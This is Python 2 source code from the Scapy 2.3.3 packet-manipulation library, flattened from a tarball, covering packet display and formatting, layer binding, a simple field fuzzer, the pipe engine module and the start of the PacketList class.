packet. Called by show. """ if dump: from scapy.themes import AnsiColorTheme ct = AnsiColorTheme() # No color for dump output else: ct = conf.color_theme s = "%s%s %s %s \n" % (label_lvl, ct.punct("###["), ct.layer_name(self.name), ct.punct("]###")) for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value fvalue = self.getfieldval(f.name) if isinstance(fvalue, Packet) or (f.islist and f.holds_packets and type(fvalue) is list): s += "%s \\%-10s\\\n" % (label_lvl+lvl, ncol(f.name)) fvalue_gen = SetGen(fvalue,_iterpacket=0) for fvalue in fvalue_gen: s += fvalue._show_or_dump(dump=dump, indent=indent, label_lvl=label_lvl+lvl+" |", first_call=False) else: begn = "%s %-10s%s " % (label_lvl+lvl, ncol(f.name), ct.punct("="),) reprval = f.i2repr(self,fvalue) if type(reprval) is str: reprval = reprval.replace("\n", "\n"+" "*(len(label_lvl) +len(lvl) +len(f.name) +4)) s += "%s%s\n" % (begn,vcol(reprval)) if self.payload: s += self.payload._show_or_dump(dump=dump, indent=indent, lvl=lvl+(" "*indent*self.show_indent), label_lvl=label_lvl, first_call=False) if first_call and not dump: print s else: return s def show(self, dump=False, indent=3, lvl="", label_lvl=""): """Prints or returns (when "dump" is true) a hierarchical view of the packet. "indent" gives the size of indentation for each layer.""" return self._show_or_dump(dump, indent, lvl, label_lvl) def show2(self, dump=False, indent=3, lvl="", label_lvl=""): """Prints or returns (when "dump" is true) a hierarchical view of an assembled version of the packet, so that automatic fields are calculated (checksums, etc.)""" return self.__class__(str(self)).show(dump, indent, lvl, label_lvl) def sprintf(self, fmt, relax=1): """sprintf(format, [relax=1]) -> str where format is a string that can include directives. A directive begins and ends by % and has the following format %[fmt[r],][cls[:nb].]field%. fmt is a classic printf directive, "r" can be appended for raw substitution (ex: IP.flags=0x18 instead of SA), nb is the number of the layer we want (ex: for IP/IP packets, IP:2.src is the src of the upper IP layer). Special case : "%.time%" is the creation time. Ex : p.sprintf("%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% " "%03xr,IP.proto% %r,TCP.flags%") Moreover, the format string can include conditionnal statements. A conditionnal statement looks like : {layer:string} where layer is a layer name, and string is the string to insert in place of the condition if it is true, i.e. if layer is present. If layer is preceded by a "!", the result si inverted. Conditions can be imbricated. A valid statement can be : p.sprintf("This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet") p.sprintf("{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}") A side effect is that, to obtain "{" and "}" characters, you must use "%(" and "%)". """ escape = { "%": "%", "(": "{", ")": "}" } # Evaluate conditions while "{" in fmt: i = fmt.rindex("{") j = fmt[i+1:].index("}") cond = fmt[i+1:i+j+1] k = cond.find(":") if k < 0: raise Scapy_Exception("Bad condition in format string: [%s] (read sprintf doc!)"%cond) cond,format = cond[:k],cond[k+1:] res = False if cond[0] == "!": res = True cond = cond[1:] if self.haslayer(cond): res = not res if not res: format = "" fmt = fmt[:i]+format+fmt[i+j+2:] # Evaluate directives s = "" while "%" in fmt: i = fmt.index("%") s += fmt[:i] fmt = fmt[i+1:] if fmt and fmt[0] in escape: s += escape[fmt[0]] fmt = fmt[1:] continue try: i = fmt.index("%") sfclsfld = fmt[:i] fclsfld = sfclsfld.split(",") if len(fclsfld) == 1: f = "s" clsfld = fclsfld[0] elif len(fclsfld) == 2: f,clsfld = fclsfld else: raise Scapy_Exception if "." in clsfld: cls,fld = clsfld.split(".") else: cls = self.__class__.__name__ fld = clsfld num = 1 if ":" in cls: cls,num = cls.split(":") num = int(num) fmt = fmt[i+1:] except: raise Scapy_Exception("Bad format string [%%%s%s]" % (fmt[:25], fmt[25:] and "...")) else: if fld == "time": val = time.strftime("%H:%M:%S.%%06i", time.localtime(self.time)) % int((self.time-int(self.time))*1000000) elif cls == self.__class__.__name__ and hasattr(self, fld): if num > 1: val = self.payload.sprintf("%%%s,%s:%s.%s%%" % (f,cls,num-1,fld), relax) f = "s" elif f[-1] == "r": # Raw field value val = getattr(self,fld) f = f[:-1] if not f: f = "s" else: val = getattr(self,fld) if fld in self.fieldtype: val = self.fieldtype[fld].i2repr(self,val) else: val = self.payload.sprintf("%%%s%%" % sfclsfld, relax) f = "s" s += ("%"+f) % val s += fmt return s def mysummary(self): """DEV: can be overloaded to return a string that summarizes the layer. Only one mysummary() is used in a whole packet summary: the one of the upper layer, except if a mysummary() also returns (as a couple) a list of layers whose mysummary() must be called if they are present.""" return "" def _do_summary(self): found, s, needed = self.payload._do_summary() ret = "" if not found or self.__class__ in needed: ret = self.mysummary() if type(ret) is tuple: ret,n = ret needed += n if ret or needed: found = 1 if not ret: ret = self.__class__.__name__ if self.show_summary else "" if self.__class__ in conf.emph: impf = [] for f in self.fields_desc: if f in conf.emph: impf.append("%s=%s" % (f.name, f.i2repr(self, self.getfieldval(f.name)))) ret = "%s [%s]" % (ret," ".join(impf)) if ret and s: ret = "%s / %s" % (ret, s) else: ret = "%s%s" % (ret,s) return found,ret,needed def summary(self, intern=0): """Prints a one line summary of a packet.""" found,s,needed = self._do_summary() return s def lastlayer(self,layer=None): """Returns the uppest layer of the packet""" return self.payload.lastlayer(self) def decode_payload_as(self,cls): """Reassembles the payload and decode it using another packet class""" s = str(self.payload) self.payload = cls(s, _internal=1, _underlayer=self) pp = self while pp.underlayer is not None: pp = pp.underlayer self.payload.dissection_done(pp) def libnet(self): """Not ready yet. Should give the necessary C code that interfaces with libnet to recreate the packet""" print "libnet_build_%s(" % self.__class__.name.lower() det = self.__class__(str(self)) for f in self.fields_desc: val = det.getfieldval(f.name) if val is None: val = 0 elif type(val) is int: val = str(val) else: val = '"%s"' % str(val) print "\t%s, \t\t/* %s */" % (val,f.name) print ");" def command(self): """Returns a string representing the command you have to type to obtain the same packet""" f = [] for fn,fv in self.fields.items(): fld = self.get_field(fn) if isinstance(fv, Packet): fv = fv.command() elif fld.islist and fld.holds_packets and type(fv) is list: fv = "[%s]" % ",".join( map(Packet.command, fv)) else: fv = repr(fv) f.append("%s=%s" % (fn, fv)) c = "%s(%s)" % (self.__class__.__name__, ", ".join(f)) pc = self.payload.command() if pc: c += "/"+pc return c class NoPayload(Packet): def __new__(cls, *args, **kargs): singl = cls.__dict__.get("__singl__") if singl is None: cls.__singl__ = singl = Packet.__new__(cls) Packet.__init__(singl) return singl def __init__(self, *args, **kargs): pass def dissection_done(self,pkt): return def add_payload(self, payload): raise Scapy_Exception("Can't add payload to NoPayload instance") def remove_payload(self): pass def add_underlayer(self,underlayer): pass def remove_underlayer(self,other): pass def copy(self): return self def __repr__(self): return "" def __str__(self): return "" def __nonzero__(self): return False def do_build(self): return "" def build(self): return "" def build_padding(self): return "" def build_done(self, p): return p def build_ps(self, internal=0): return "",[] def getfieldval(self, attr): raise AttributeError(attr) def getfield_and_val(self, attr): raise AttributeError(attr) def setfieldval(self, attr, val): raise AttributeError(attr) def delfieldval(self, attr): raise AttributeError(attr) def hide_defaults(self): pass def __iter__(self): return iter([]) def __eq__(self, other): if isinstance(other, NoPayload): return True return False def hashret(self): return "" def answers(self, other): return isinstance(other, NoPayload) or isinstance(other, conf.padding_layer) def haslayer(self, cls): return 0 def getlayer(self, cls, nb=1, _track=None): if _track is not None: _track.append(nb) return None def fragment(self, *args, **kargs): raise Scapy_Exception("cannot fragment this packet") def show(self, indent=3, lvl="", label_lvl=""): pass def sprintf(self, fmt, relax): if relax: return "??" else: raise Scapy_Exception("Format not found [%s]"%fmt) def _do_summary(self): return 0,"",[] def lastlayer(self,layer): return layer def command(self): return "" #################### ## packet classes ## #################### class Raw(Packet): name = "Raw" fields_desc = [ StrField("load", "") ] def answers(self, other): return 1 # s = str(other) # t = self.load # l = min(len(s), len(t)) # return s[:l] == t[:l] def mysummary(self): cs = conf.raw_summary if cs: if callable(cs): return "Raw %s" % cs(self.load) else: return "Raw %r" % self.load return Packet.mysummary(self) class Padding(Raw): name = "Padding" def self_build(self): return "" def build_padding(self): return (self.load if self.raw_packet_cache is None else self.raw_packet_cache) + self.payload.build_padding() conf.raw_layer = Raw conf.padding_layer = Padding if conf.default_l2 is None: conf.default_l2 = Raw ################# ## Bind layers ## ################# def bind_bottom_up(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) lower.payload_guess = lower.payload_guess[:] lower.payload_guess.append((fval, upper)) def bind_top_down(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) upper._overload_fields = upper._overload_fields.copy() upper._overload_fields[lower] = fval @conf.commands.register def bind_layers(lower, upper, __fval=None, **fval): """Bind 2 layers on some specific fields' values""" if __fval is not None: fval.update(__fval) bind_top_down(lower, upper, **fval) bind_bottom_up(lower, upper, **fval) def split_bottom_up(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) def do_filter((f,u),upper=upper,fval=fval): if u != upper: return True for k in fval: if k not in f or f[k] != fval[k]: return True return False lower.payload_guess = filter(do_filter, lower.payload_guess) def split_top_down(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) if lower in upper._overload_fields: ofval = upper._overload_fields[lower] for k in fval: if k not in ofval or ofval[k] != fval[k]: return upper._overload_fields = upper._overload_fields.copy() del(upper._overload_fields[lower]) @conf.commands.register def split_layers(lower, upper, __fval=None, **fval): """Split 2 layers previously bound""" if __fval is not None: fval.update(__fval) split_bottom_up(lower, upper, **fval) split_top_down(lower, upper, **fval) @conf.commands.register def ls(obj=None, case_sensitive=False, verbose=False): """List available layers, or infos on a given layer class or name""" is_string = isinstance(obj, basestring) if obj is None or is_string: if obj is None: all_layers = sorted(conf.layers, key=lambda x: x.__name__) else: pattern = re.compile(obj, 0 if case_sensitive else re.I) all_layers = sorted((layer for layer in conf.layers if (pattern.search(layer.__name__ or '') or pattern.search(layer.name or ''))), key=lambda x: x.__name__) for layer in all_layers: print "%-10s : %s" % (layer.__name__, layer.name) else: is_pkt = isinstance(obj, Packet) if (isinstance(obj, type) and issubclass(obj, Packet)) or is_pkt: for f in obj.fields_desc: cur_fld = f attrs = [] long_attrs = [] while isinstance(cur_fld, (Emph, ConditionalField)): attrs.append(cur_fld.__class__.__name__[:4]) cur_fld = cur_fld.fld if verbose and isinstance(cur_fld, EnumField) \ and hasattr(cur_fld, "i2s"): if len(cur_fld.i2s) < 50: long_attrs.extend( "%s: %d" % (strval, numval) for numval, strval in sorted(cur_fld.i2s.iteritems()) ) elif isinstance(cur_fld, MultiEnumField): fld_depend = cur_fld.depends_on(obj.__class__ if is_pkt else obj) attrs.append("Depends on %s" % fld_depend.name) if verbose: cur_i2s = cur_fld.i2s_multi.get( cur_fld.depends_on(obj if is_pkt else obj()), {} ) if len(cur_i2s) < 50: long_attrs.extend( "%s: %d" % (strval, numval) for numval, strval in sorted(cur_i2s.iteritems()) ) elif verbose and isinstance(cur_fld, FlagsField): names = cur_fld.names if isinstance(names, basestring): long_attrs.append(", ".join(names)) else: long_attrs.append(", ".join(name[0] for name in names)) class_name = "%s (%s)" % ( cur_fld.__class__.__name__, ", ".join(attrs)) if attrs else cur_fld.__class__.__name__ if isinstance(cur_fld, BitField): class_name += " (%d bit%s)" % (cur_fld.size, "s" if cur_fld.size > 1 else "") print "%-10s : %-35s =" % (f.name, class_name), if is_pkt: print "%-15r" % getattr(obj,f.name), print "(%r)" % f.default for attr in long_attrs: print "%-15s%s" % ("", attr) if is_pkt and not isinstance(obj.payload, NoPayload): print "--" ls(obj.payload) else: print "Not a packet class or name. Type 'ls()' to list packet classes." ############# ## Fuzzing ## ############# @conf.commands.register def fuzz(p, _inplace=0): """Transform a layer into a fuzzy layer by replacing some default values by random objects""" if not _inplace: p = p.copy() q = p while not isinstance(q, NoPayload): for f in q.fields_desc: if isinstance(f, PacketListField): for r in getattr(q, f.name): print "fuzzing", repr(r) fuzz(r, _inplace=1) elif f.default is not None: rnd = f.randval() if rnd is not None: q.default_fields[f.name] = rnd q = q.payload return p scapy-2.3.3/scapy/pipetool.py000066400000000000000000000374131300136037300161660ustar00rootroot00000000000000#! /usr/bin/env python ## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license from __future__ import with_statement import os,thread,select import subprocess import itertools import collections import time import Queue import scapy.utils from scapy.error import log_interactive,warning from scapy.config import conf class PipeEngine: pipes = {} @classmethod def list_pipes(cls): for pn,pc in sorted(cls.pipes.items()): doc = pc.__doc__ or "" if doc: doc = doc.splitlines()[0] print "%20s: %s" % (pn, doc) @classmethod def list_pipes_detailed(cls): for pn,pc in sorted(cls.pipes.items()): if pc.__doc__: print "###### %s\n %s" % (pn ,pc.__doc__) else: print "###### %s" % pn def __init__(self, *pipes): self.active_pipes = set() self.active_sources = set() self.active_drains = set() self.active_sinks = set() self._add_pipes(*pipes) self.thread_lock = thread.allocate_lock() self.command_lock = thread.allocate_lock() self.__fdr,self.__fdw = os.pipe() self.threadid = None def __getattr__(self, attr): if attr.startswith("spawn_"): dname = attr[6:] if dname in self.pipes: def f(*args, **kargs): k = self.pipes[dname] p = k(*args, **kargs) self.add(p) return p return f raise AttributeError(attr) def add_one_pipe(self, pipe): self.active_pipes.add(pipe) if isinstance(pipe, Source): self.active_sources.add(pipe) if isinstance(pipe, Drain): self.active_drains.add(pipe) if isinstance(pipe, Sink): self.active_sinks.add(pipe) def get_pipe_list(self, pipe): def flatten(p, l): l.add(p) for q in p.sources|p.sinks|p.high_sources|p.high_sinks: if q not in l: flatten(q, l) pl = set() flatten(pipe, pl) return pl def _add_pipes(self, *pipes): pl = set() for p in pipes: pl |= self.get_pipe_list(p) pl -= self.active_pipes for q in pl: self.add_one_pipe(q) return pl def run(self): log_interactive.info("Pipe engine thread started.") try: for p in self.active_pipes: p.start() sources = self.active_sources sources.add(self.__fdr) exhausted = set([]) RUN=True STOP_IF_EXHAUSTED = False while RUN and (not STOP_IF_EXHAUSTED or len(sources) > 1): fds,fdo,fde=select.select(sources,[],[]) for fd in fds: if fd is self.__fdr: cmd = os.read(self.__fdr,1) if cmd == "X": RUN=False break elif cmd == "B": STOP_IF_EXHAUSTED = True elif cmd == "A": sources = self.active_sources-exhausted sources.add(self.__fdr) else: warning("Unknown internal pipe engine command: %r. Ignoring." % cmd) elif fd in sources: try: fd.deliver() except Exception,e: log_interactive.exception("piping from %s failed: %s" % (fd.name, e)) else: if fd.exhausted(): exhausted.add(fd) sources.remove(fd) except KeyboardInterrupt: pass finally: try: for p in self.active_pipes: p.stop() finally: self.thread_lock.release() log_interactive.info("Pipe engine thread stopped.") def start(self): if self.thread_lock.acquire(0): self.threadid = thread.start_new_thread(self.run,()) else: warning("Pipe engine already running") def wait_and_stop(self): self.stop(_cmd="B") def stop(self, _cmd="X"): try: with self.command_lock: if self.threadid is not None: os.write(self.__fdw, _cmd) while not self.thread_lock.acquire(0): time.sleep(0.01) # interruptible wait for thread to terminate self.thread_lock.release() # (not using .join() because it needs 'threading' module) else: warning("Pipe engine thread not running") except KeyboardInterrupt: print "Interrupted by user." def add(self, *pipes): pipes = self._add_pipes(*pipes) with self.command_lock: if self.threadid is not None: for p in pipes: p.start() os.write(self.__fdw, "A") def graph(self,**kargs): g=['digraph "pipe" {',"\tnode [shape=rectangle];",] for p in self.active_pipes: g.append('\t"%i" [label="%s"];' % (id(p), p.name)) g.append("") g.append("\tedge [color=blue, arrowhead=vee];") for p in self.active_pipes: for q in p.sinks: g.append('\t"%i" -> "%i";' % (id(p), id(q))) g.append("") g.append("\tedge [color=red, arrowhead=veevee];") for p in self.active_pipes: for q in p.high_sinks: g.append('\t"%i" -> "%i" [color="red"];' % (id(p), id(q))) g.append('}') graph = "\n".join(g) scapy.utils.do_graph(graph, **kargs) class _ConnectorLogic(object): def __init__(self): self.sources = set() self.sinks = set() self.high_sources = set() self.high_sinks = set() def __lt__(self, other): other.sinks.add(self) self.sources.add(other) return other def __gt__(self, other): self.sinks.add(other) other.sources.add(self) return other def __eq__(self, other): self > other other > self return other def __lshift__(self, other): self.high_sources.add(other) other.high_sinks.add(self) return other def __rshift__(self, other): self.high_sinks.add(other) other.high_sources.add(self) return other def __floordiv__(self, other): self >> other other >> self return other class Pipe(_ConnectorLogic): class __metaclass__(type): def __new__(cls, name, bases, dct): c = type.__new__(cls, name, bases, dct) PipeEngine.pipes[name] = c return c def __init__(self, name=None): _ConnectorLogic.__init__(self) if name is None: name = "%s" % (self.__class__.__name__) self.name = name def _send(self, msg): for s in self.sinks: s.push(msg) def _high_send(self, msg): for s in self.high_sinks: s.high_push(msg) def __repr__(self): ct = conf.color_theme s = "%s%s" % (ct.punct("<"), ct.layer_name(self.name)) if self.sources or self.sinks: s+= " %s" % ct.punct("[") if self.sources: s+="%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.sources), ct.field_value(">")) s += ct.layer_name("#") if self.sinks: s+="%s%s" % (ct.field_value(">"), ct.punct(",").join(ct.field_name(s.name) for s in self.sinks)) s += ct.punct("]") if self.high_sources or self.high_sinks: s+= " %s" % ct.punct("[") if self.high_sources: s+="%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.high_sources), ct.field_value(">>")) s += ct.layer_name("#") if self.high_sinks: s+="%s%s" % (ct.field_value(">>"), ct.punct(",").join(ct.field_name(s.name) for s in self.high_sinks)) s += ct.punct("]") s += ct.punct(">") return s class Source(Pipe): def __init__(self, name=None): Pipe.__init__(self, name=name) self.is_exhausted = False def _read_message(self): from scapy.automaton import Message return Message() def deliver(self): msg = self._read_message self._send(msg) def fileno(self): return None def exhausted(self): return self.is_exhausted def start(self): pass def stop(self): pass class Drain(Pipe): """Repeat messages from low/high entries to (resp.) low/high exits +-------+ >>-|-------|->> | | >-|-------|-> +-------+ """ def push(self, msg): self._send(msg) def high_push(self, msg): self._high_send(msg) def start(self): pass def stop(self): pass class Sink(Pipe): def push(self, msg): pass def high_push(self, msg): pass def start(self): pass def stop(self): pass class AutoSource(Source): def __init__(self, name=None): Source.__init__(self, name=name) self.__fdr,self.__fdw = os.pipe() self._queue = collections.deque() def fileno(self): return self.__fdr def _gen_data(self, msg): self._queue.append((msg,False)) self._wake_up() def _gen_high_data(self, msg): self._queue.append((msg,True)) self._wake_up() def _wake_up(self): os.write(self.__fdw,"x") def deliver(self): os.read(self.__fdr,1) try: msg,high = self._queue.popleft() except IndexError: #empty queue. Exhausted source pass else: if high: self._high_send(msg) else: self._send(msg) class ThreadGenSource(AutoSource): def __init__(self, name=None): AutoSource.__init__(self, name=name) self.RUN = False def generate(self): pass def start(self): self.RUN = True thread.start_new_thread(self.generate,()) def stop(self): self.RUN = False class ConsoleSink(Sink): """Print messages on low and high entries +-------+ >>-|--. |->> | print | >-|--' |-> +-------+ """ def push(self, msg): print ">%r" % msg def high_push(self, msg): print ">>%r" % msg class RawConsoleSink(Sink): """Print messages on low and high entries +-------+ >>-|--. |->> | write | >-|--' |-> +-------+ """ def __init__(self, name=None, newlines=True): Sink.__init__(self, name=name) self.newlines = newlines def push(self, msg): if self.newlines: msg += "\n" os.write(1, str(msg)) def high_push(self, msg): if self.newlines: msg += "\n" os.write(1, str(msg)) class CLIFeeder(AutoSource): """Send messages from python command line +--------+ >>-| |->> | send() | >-| `----|-> +--------+ """ def send(self, msg): self._gen_data(msg) def close(self): self.is_exhausted = True class CLIHighFeeder(CLIFeeder): """Send messages from python command line to high output +--------+ >>-| .----|->> | send() | >-| |-> +--------+ """ def send(self, msg): self._gen_high_data(msg) class PeriodicSource(ThreadGenSource): """Generage messages periodically on low exit +-------+ >>-| |->> | msg,T | >-| `----|-> +-------+ """ def __init__(self, msg, period, period2=0, name=None): ThreadGenSource.__init__(self,name=name) if not hasattr(msg, "__iter__"): msg=[msg] self.msg = msg self.period = period self.period2 = period2 def generate(self): while self.RUN: empty_gen = True for m in self.msg: empty_gen = False self._gen_data(m) time.sleep(self.period) if empty_gen: self.is_exhausted = True self._wake_up() time.sleep(self.period2) class TermSink(Sink): """Print messages on low and high entries on a separate terminal +-------+ >>-|--. |->> | print | >-|--' |-> +-------+ """ def __init__(self, name=None, keepterm=True, newlines=True, openearly=True): Sink.__init__(self, name=name) self.keepterm = keepterm self.newlines = newlines self.openearly = openearly self.opened = False if self.openearly: self.start() def start(self): if not self.opened: self.opened = True self.__r,self.__w = os.pipe() cmd = ["xterm"] if self.name is not None: cmd.extend(["-title",self.name]) if self.keepterm: cmd.append("-hold") cmd.extend(["-e", "cat 0<&%i" % self.__r]) self.__p = subprocess.Popen(cmd) os.close(self.__r) def stop(self): if not self.keepterm: self.opened = False os.close(self.__w) self.__p.kill() self.__p.wait() def _print(self, s): if self.newlines: s+="\n" os.write(self.__w, s) def push(self, msg): self._print(str(msg)) def high_push(self, msg): self._print(str(msg)) class QueueSink(Sink): """Collect messages from high and low entries and queue them. Messages are unqueued with the .recv() method. +-------+ >>-|--. |->> | queue | >-|--' |-> +-------+ """ def __init__(self, name=None): Sink.__init__(self, name=name) self.q = Queue.Queue() def push(self, msg): self.q.put(msg) def high_push(self, msg): self.q.put(msg) def recv(self): while True: try: return self.q.get(True, timeout=0.1) except Queue.Empty: pass class TransformDrain(Drain): """Apply a function to messages on low and high entry +-------+ >>-|--[f]--|->> | | >-|--[f]--|-> +-------+ """ def __init__(self, f, name=None): Drain.__init__(self, name=name) self.f = f def push(self, msg): self._send(self.f(msg)) def high_push(self, msg): self._high_send(self.f(msg)) class UpDrain(Drain): """Repeat messages from low entry to high exit +-------+ >>-| ,--|->> | / | >-|--' |-> +-------+ """ def push(self, msg): self._high_send(msg) def high_push(self, msg): pass class DownDrain(Drain): """Repeat messages from high entry to low exit +-------+ >>-|--. |->> | \ | >-| `--|-> +-------+ """ def push(self, msg): pass def high_push(self, msg): self._send(msg) def _testmain(): s = PeriodicSource("hello", 1, name="src") d1 = Drain(name="d1") c = ConsoleSink(name="c") tf = TransformDrain(lambda x:"Got %r" % x) t = TermSink(name="t", keepterm=False) s > d1 > c d1 > tf > t p = PipeEngine(s) p.graph(type="png",target="> /tmp/pipe.png") p.start() print p.threadid time.sleep(5) p.stop() if __name__ == "__main__": _testmain() scapy-2.3.3/scapy/plist.py000066400000000000000000000514371300136037300154700ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PacketList: holds several packets and allows to do operations on them. """ import os,subprocess from collections import defaultdict from scapy.config import conf from scapy.base_classes import BasePacket,BasePacketList from scapy.utils import do_graph,hexdump,make_table,make_lined_table,make_tex_table,get_temp_file from scapy.arch import plt, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS ############# ## Results ## ############# class PacketList(BasePacketList): __slots__ = ["stats", "res", "listname"] def __init__(self, res=None, name="PacketList", stats=None): """create a packet list from a list of packets res: the list of packets stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])""" if stats is None: stats = conf.stats_classic_protocols self.stats = stats if res is None: res = [] if isinstance(res, PacketList): res = res.res self.res = res self.listname = name def __len__(self): return len(self.res) def _elt2pkt(self, elt): return elt def _elt2sum(self, elt): return elt.summary() def _elt2show(self, elt): return self._elt2sum(elt) def __repr__(self): stats = dict((x, 0) for x in self.stats) other = 0 for r in self.res: f = 0 for p in stats: if self._elt2pkt(r).haslayer(p): stats[p] += 1 f = 1 break if not f: other += 1 s = "" ct = conf.color_theme for p in self.stats: s += " %s%s%s" % (ct.packetlist_proto(p._name), ct.punct(":"), ct.packetlist_value(stats[p])) s += " %s%s%s" % (ct.packetlist_proto("Other"), ct.punct(":"), ct.packetlist_value(other)) return "%s%s%s%s%s" % (ct.punct("<"), ct.packetlist_name(self.listname), ct.punct(":"), s, ct.punct(">")) def __getattr__(self, attr): return getattr(self.res, attr) def __getitem__(self, item): if isinstance(item,type) and issubclass(item,BasePacket): return self.__class__(filter(lambda x: item in self._elt2pkt(x),self.res), name="%s from %s"%(item.__name__,self.listname)) if type(item) is slice: return self.__class__(self.res.__getitem__(item), name = "mod %s" % self.listname) return self.res.__getitem__(item) def __getslice__(self, *args, **kargs): return self.__class__(self.res.__getslice__(*args, **kargs), name="mod %s"%self.listname) def __add__(self, other): return self.__class__(self.res+other.res, name="%s+%s"%(self.listname,other.listname)) def summary(self, prn=None, lfilter=None): """prints a summary of each packet prn: function to apply to each packet instead of lambda x:x.summary() lfilter: truth function to apply to each packet to decide whether it will be displayed""" for r in self.res: if lfilter is not None: if not lfilter(r): continue if prn is None: print self._elt2sum(r) else: print prn(r) def nsummary(self, prn=None, lfilter=None): """prints a summary of each packet with the packet's number prn: function to apply to each packet instead of lambda x:x.summary() lfilter: truth function to apply to each packet to decide whether it will be displayed""" for i, res in enumerate(self.res): if lfilter is not None: if not lfilter(res): continue print conf.color_theme.id(i,fmt="%04i"), if prn is None: print self._elt2sum(res) else: print prn(res) def display(self): # Deprecated. Use show() """deprecated. is show()""" self.show() def show(self, *args, **kargs): """Best way to display the packet list. Defaults to nsummary() method""" return self.nsummary(*args, **kargs) def filter(self, func): """Returns a packet list filtered by a truth function""" return self.__class__(filter(func,self.res), name="filtered %s"%self.listname) def make_table(self, *args, **kargs): """Prints a table using a function that returs for each packet its head column value, head row value and displayed value ex: p.make_table(lambda x:(x[IP].dst, x[TCP].dport, x[TCP].sprintf("%flags%")) """ return make_table(self.res, *args, **kargs) def make_lined_table(self, *args, **kargs): """Same as make_table, but print a table with lines""" return make_lined_table(self.res, *args, **kargs) def make_tex_table(self, *args, **kargs): """Same as make_table, but print a table with LaTeX syntax""" return make_tex_table(self.res, *args, **kargs) def plot(self, f, lfilter=None, plot_xy=False, **kargs): """Applies a function to each packet to get a value that will be plotted with matplotlib. A list of matplotlib.lines.Line2D is returned. lfilter: a truth function that decides whether a packet must be ploted """ # Get the list of packets if lfilter is None: l = [f(e) for e in self.res] else: l = [f(e) for e in self.res if lfilter(e)] # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS if plot_xy: lines = plt.plot(*zip(*l), **kargs) else: lines = plt.plot(l, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def diffplot(self, f, delay=1, lfilter=None, **kargs): """diffplot(f, delay=1, lfilter=None) Applies a function to couples (l[i],l[i+delay]) A list of matplotlib.lines.Line2D is returned. """ # Get the list of packets if lfilter is None: l = [f(self.res[i], self.res[i+1]) for i in xrange(len(self.res) - delay)] else: l = [f(self.res[i], self.res[i+1]) for i in xrange(len(self.res) - delay) if lfilter(self.res[i])] # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS lines = plt.plot(l, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def multiplot(self, f, lfilter=None, plot_xy=False, **kargs): """Uses a function that returns a label and a value for this label, then plots all the values label by label. A list of matplotlib.lines.Line2D is returned. """ # Get the list of packets if lfilter is None: l = (f(e) for e in self.res) else: l = (f(e) for e in self.res if lfilter(e)) # Apply the function f to the packets d = {} for k, v in l: d.setdefault(k, []).append(v) # Mimic the default gnuplot output if not kargs: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS if plot_xy: lines = [plt.plot(*zip(*pl), **dict(kargs, label=k)) for k, pl in d.iteritems()] else: lines = [plt.plot(pl, **dict(kargs, label=k)) for k, pl in d.iteritems()] plt.legend(loc="center right", bbox_to_anchor=(1.5, 0.5)) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def rawhexdump(self): """Prints an hexadecimal dump of each packet in the list""" for p in self: hexdump(self._elt2pkt(p)) def hexraw(self, lfilter=None): """Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped lfilter: a truth function that decides whether a packet must be displayed""" for i, res in enumerate(self.res): p = self._elt2pkt(res) if lfilter is not None and not lfilter(p): continue print "%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res)) if p.haslayer(conf.raw_layer): hexdump(p.getlayer(conf.raw_layer).load) def hexdump(self, lfilter=None): """Same as nsummary(), except that packets are also hexdumped lfilter: a truth function that decides whether a packet must be displayed""" for i, res in enumerate(self.res): p = self._elt2pkt(res) if lfilter is not None and not lfilter(p): continue print "%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res)) hexdump(p) def padding(self, lfilter=None): """Same as hexraw(), for Padding layer""" for i in enumerate(self.res): p = self._elt2pkt(res) if p.haslayer(conf.padding_layer): if lfilter is None or lfilter(p): print "%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res)) hexdump(p.getlayer(conf.padding_layer).load) def nzpadding(self, lfilter=None): """Same as padding() but only non null padding""" for i in enumerate(self.res): p = self._elt2pkt(res) if p.haslayer(conf.padding_layer): pad = p.getlayer(conf.padding_layer).load if pad == pad[0]*len(pad): continue if lfilter is None or lfilter(p): print "%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res)) hexdump(p.getlayer(conf.padding_layer).load) def conversations(self, getsrcdst=None,**kargs): """Graphes a conversations between sources and destinations and display it (using graphviz and imagemagick) getsrcdst: a function that takes an element of the list and returns the source, the destination and optionally a label. By default, returns the IP source and destination from IP and ARP layers type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option target: filename or redirect. Defaults pipe to Imagemagick's display program prog: which graphviz program to use""" if getsrcdst is None: def getsrcdst(pkt): if 'IP' in pkt: return (pkt['IP'].src, pkt['IP'].dst) if 'ARP' in pkt: return (pkt['ARP'].psrc, 